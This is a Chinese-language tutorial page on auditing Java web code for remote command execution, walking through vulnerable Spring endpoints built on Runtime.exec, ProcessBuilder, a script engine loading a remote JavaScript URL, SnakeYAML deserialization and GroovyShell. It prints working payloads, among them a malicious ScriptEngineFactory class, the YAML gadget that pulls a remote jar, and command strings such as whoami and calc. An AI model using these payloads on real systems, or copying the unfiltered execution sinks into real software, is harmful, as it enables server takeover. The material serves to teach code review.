您现在的位置是:首页 > 正文

Java代码审计之RCE(远程命令执行)

2024-01-30 20:28:37阅读 0

Java代码审计系列课程(点我哦)

漏洞原理:

RCE漏洞,可让攻击者直接向后台服务器远程注入操做系统命令或者代码,从而控制后台系统。
出现此类漏洞通常由于应用系统从设计上须要给用户提供指定的远程命令操做的接口。通常会给用户提供一个ping操做的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而若是设计者在完成该功能时,没有作严格的安全控制,则可能会致使攻击者经过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器

runtime/exec

访问url为http://localhost:8080/rce/runtime/exec?cmd=whoami

http://localhost:8080/rce/runtime/exec?cmd=calc

@GetMapping("/runtime/exec")
public String CommandExec(String cmd) {
    Runtime run = Runtime.getRuntime();
    StringBuilder sb = new StringBuilder();

    try {
        Process p = run.exec(cmd);
        BufferedInputStream in = new BufferedInputStream(p.getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String tmpStr;

        while ((tmpStr = inBr.readLine()) != null) {
            sb.append(tmpStr);
        }

        if (p.waitFor() != 0) {
            if (p.exitValue() == 1)
                return "Command exec failed!!";
        }

        inBr.close();
        in.close();
    } catch (Exception e) {
        return e.toString();
    }
    return sb.toString();
}

最基础的Runtime.getRuntime().exec(cmd),直接传入命令即可执行。

ProcessBuilder

访问url为http://localhost:8080/rce/ProcessBuilder?cmd=whoami。

同样也是直接执行命令,不同的是使用的是ProcessBuilder来执行命令。ProcessBuilder传入参数为列表,第一个参数为可执行命令程序,后面的参数为执行的命令程序的参数。

/**
 * http://localhost:8080/rce/ProcessBuilder?cmd=whoami
 * @param cmd cmd
 */
@GetMapping("/ProcessBuilder")
public String processBuilder(String cmd) {

    StringBuilder sb = new StringBuilder();

    try {
        //String[] arrCmd = {"/bin/sh", "-c", cmd}; //linux
        String[] arrCmd = {cmd};                  //windows,windos下无需指定
        ProcessBuilder processBuilder = new ProcessBuilder(arrCmd);
        Process p = processBuilder.start();
        BufferedInputStream in = new BufferedInputStream(p.getInputStream());
        BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
        String tmpStr;

        while ((tmpStr = inBr.readLine()) != null) {
            sb.append(tmpStr);
        }
    } catch (Exception e) {
        return e.toString();
    }

    return sb.toString();
}

jscmd

访问url为http://localhost:8080/rce/jscmd?jsurl=http://localhost/exe.js,传入的参数为一个JavaScript代码的url地址

http://localhost/exe.js

var a = mainOutput(); 
function mainOutput() { 
    var x=java.lang.Runtime.getRuntime().exec("calc");
}

源码如下,使用的是ScriptEngine来对JavaScript代码的调用,最后eval()执行代码。

/**
 * http://localhost:8080/rce/jscmd?jsurl=http://xx.yy/zz.js
 *
 * curl http://xx.yy/exe.js
 * var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec("open -a Calculator");}
 *
 * @param jsurl js url
 */
@GetMapping("/jscmd")
public void jsEngine(String jsurl) throws Exception{
    // js nashorn javascript ecmascript
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("js");//通过文件扩展名获取:
    //ScriptEngine engine = manager.getEngineByName("JavaScript");//通过脚本名称获取:     
    //ScriptEngine engine = manager.getEngineByMimeType("text/javascript");  //通过MIME类型来获取: 
    Bindings bindings = engine.getBindings(ScriptContext.ENGINE_SCOPE);//启动javascript引擎
    String cmd = String.format("load(\"%s\")", jsurl);
    engine.eval(cmd, bindings);
}

yml

YAML(YAML Ain’t Markup Language),也可以叫做YML,是一种人性化的数据序列化的语言,类似于XML,JSON。SpringBoot的配置文件就支持yaml文件

yaml有三种数据结构

对象

写在一行

address: {province: 山东, city: 济南}

写在多行

address:
  province: 山东
  city: 济南
数组

写在一行

hobbyList: [游泳, 跑步]

写在多行

hobbyList:
  - 游泳
  - 跑步
纯量
  • 字符串 默认不用加引号,包含空格或特殊字符必须加引号,单引号或双引号都可以
userId: S123
username: "lisi"
password: '123456'
province: 山东
city: "济南 : ss"
  • 布尔值
success: true
  • 整数
age: 13
  • 浮点数
weight: 75.5
  • Null
gender: ~
  • 时间
    时间使用ISO8601标准 [ISO8601](https://baike.baidu.com/item/ISO 8601/3910715?fr=aladdin)
createDate: 2001-12-14T21:59:43.10+05     

使用snakeyaml将yaml文件解析成javabean

添加maven依赖

复制<dependency>
  <groupId>org.yaml</groupId>
  <artifactId>snakeyaml</artifactId>
  <version>1.27</version>
</dependency>

访问url为http://localhost:8080/rce/vuln/yarm

利用的是SnakeYAML存在的反序列化漏洞来rce,在解析恶意 yml 内容时会完成指定的动作。

先是触发java.net.URL去拉取远程 HTTP 服务器上的恶意 jar 文件,然后是寻找 jar 文件中实现javax.script.ScriptEngineFactory接口的类并实例化,实例化类时执行恶意代码,造成 RCE 漏洞。

public void yarm(String content) {
    Yaml y = new Yaml();
    y.load(content);
}

payload在https://github.com/artsploit/yaml-payload/blob/master/src/artsploit/AwesomeScriptEngineFactory.java有。

package artsploit; 
 import javax.script.ScriptEngine; 
import javax.script.ScriptEngineFactory; 
import java.io.IOException; 
import java.util.List; 
 public class AwesomeScriptEngineFactory implements ScriptEngineFactory { 
 public AwesomeScriptEngineFactory() { 
try { 
		Runtime.getRuntime().exec("whoami"); 
        Runtime.getRuntime().exec("calc"); 
    } catch (IOException e) { 
          e.printStackTrace(); 
   } 
} 
 @Override 
public String getEngineName() { 
return null; 
} 
 @Override 
public String getEngineVersion() { 
return null; 
} 
 @Override 
public List<String> getExtensions() { 
return null; 
} 
 @Override 
public List<String> getMimeTypes() { 
return null; 
} 
 @Override 
public List<String> getNames() { 
return null; 
} 
 @Override 
public String getLanguageName() { 
return null; 
} 
 @Override 
public String getLanguageVersion() { 
return null; 
} 
 @Override 
public Object getParameter(String key) { 
return null; 
} 
 @Override 
public String getMethodCallSyntax(String obj, String m, String... args) { 
return null; 
} 
 @Override 
public String getOutputStatement(String toDisplay) { 
return null; 
} 
 @Override 
public String getProgram(String... statements) { 
return null; 
} 
 @Override 
public ScriptEngine getScriptEngine() { 
return null; 
} 
}

对上面java代码进行打包

在javac.exe下进行编译

image-20220302180325029

创建了jar.exe的快捷方式,注意生成yaml的路径

image-20220302182653283

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

随后将以下内容传递给参数即可。

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[
    !!java.net.URL ["http://localhost/yaml-payload.jar"]
  ]]
]

拼接后url

http://localhost:8080/rce/vuln/yarm?content=!!javax.script.ScriptEngineManager%20[!!java.net.URLClassLoader%20[[!!java.net.URL%20[%22http://localhost/yaml-payload.jar%22]]]]

groovy

Groovy是一种基于JVMJava虚拟机)的敏捷开发语言,它结合了PythonRubySmalltalk的许多强大的特性,Groovy 代码能够与 Java 代码很好地结合,也能用于扩展现有代码

Groovy语法:

https://www.w3cschool.cn/groovy/

访问url为http://localhost:8080/rce/groovy?content=‘calc’.execute()

GroovyShell可动态运行groovy语言,也可以用于命令执行,如果用户的输入不加以过滤会导致rce。

public void groovyshell(String content) {
    GroovyShell groovyShell = new GroovyShell();
    groovyShell.evaluate(content);
}

关键词:

Runtime    StringBuilder   ScriptEngineManager  Yaml   GroovyShell

网站文章

  • Android面试题集-常见几个面试题详解

    Android面试题集-常见几个面试题详解

    跳槽,这在 IT 互联网圈是非常普遍的,也是让自己升职加薪,走上人生巅峰的重要方式。那么作为一个普通的Android程序猿,我们如何才能斩获大厂offer 呢? 疫情向好、面试在即,还在迷茫踌躇中的后...

    2024-01-30 20:28:06
  • 使用EasyExcel实现上传解析与导出下载

    使用EasyExcel实现上传解析与导出下载

    使用指南:https://www.yuque.com/easyexcel/doc/easyexcel 环境:jdk1.8、SpringBoot 2.2.2 准备工作: pom.xml 添加依赖jar包...

    2024-01-30 20:27:57
  • AF_INET 和PF_INET区别;AF_LOCAL PF_LOCAL 区别.

    从字面理解: AF_INET = Address Format, Internet = IP Addresses PF_INET = Packet Format, Internet = IP, TCP/IP or UDP 从linux的定义来看,两者无区别。 /* Supported address families. */#define AF_UNSPEC 0#define AF_UNI...

    2024-01-30 20:27:55
  • springboot和vue前后端分离部署微信公众号

    网上已经有很多vue打包后放到resources目录的解决方案,也有vue前台微信插件然后请求后台方案,我就不Ctrl+C加Ctrl+V了。说说我的分离部署的解决方案:nginx反响代理后台路径,后端验证通过后跳转前端路径通过response.sendRedirect("前台的路径"),如/api,原来http://localhost:8080/user/login,变成http://xx...

    2024-01-30 20:27:49
  • 负数在计算机中怎样存储

    负数在计算机中怎样存储

    一、什么是原码、反码、补码?分为:正数 和负数(包括正浮点数,和负浮点数)规定最高位位符号位正数为0,负数为1(原因下文解释)原码:10进制转换成2进制是原码,只不过正数的原码是本身符号位为0,负数的原码符号位为1(以下篇幅均以单字节为例:10进制1的原码是0000 0001,10进制-1的原码是1000 0001)。反码: 正数的反码是本身,负数的反码是负数的原码0变为1,1变为0 &...

    2024-01-30 20:27:16
  • php create_function()产生的漏洞

    create_function(‘参数’,’函数体’):官方example:

    2024-01-30 20:27:10
  • leetcode解题思路分析(一百二十三)1018 - 1024 题

    代码】leetcode解题思路分析(一百二十三)1018-1024题。

    2024-01-30 20:26:36
  • 新书推荐 |《工业机器人系统及应用》

    新书推荐 |《工业机器人系统及应用》

    新书推荐《工业机器人系统及应用》点击上图了解及购买本书由机器人领域的两位技术专家和资深教授联袂撰写,聚焦于工业机器人,涵盖其组成结构、电气控制及实践应用,为机器人的设计、生产、布置、操作...

    2024-01-30 20:26:29
  • Linux/Ubuntu下使用命令开放端口的办法

    Linux/Ubuntu下使用命令开放端口的办法

    一.安装iptables:一般情况下,Ubuntu安装好的时候,iptables会被安装上。如果没有,执行下面命令$ sudo apt-get update$ sudo apt-get install iptables二.安装完后,开放8000端口,使用下面命令:$ sudo iptables -I INPUT -p tcp --dport 8000 -j ACCEPT三.保存规...

    2024-01-30 20:26:02
  • js中两个等号(==)和三个等号(===)的区别

    1. &quot;==&quot;表示:equality -&gt; 等同 的意思,&quot;==&quot;使用两个等号时,如果两边值的类型不同的时候,是要先先进行类型转换后,才能做比较。2. &quot;===&quot;表示:identity -&gt; 恒等 的意思,&quot;===&quot;使用三个等号时,是不需要做类型转换的,如果两边值的类型不同,就表示一定是不等的。...

    2024-01-30 20:25:55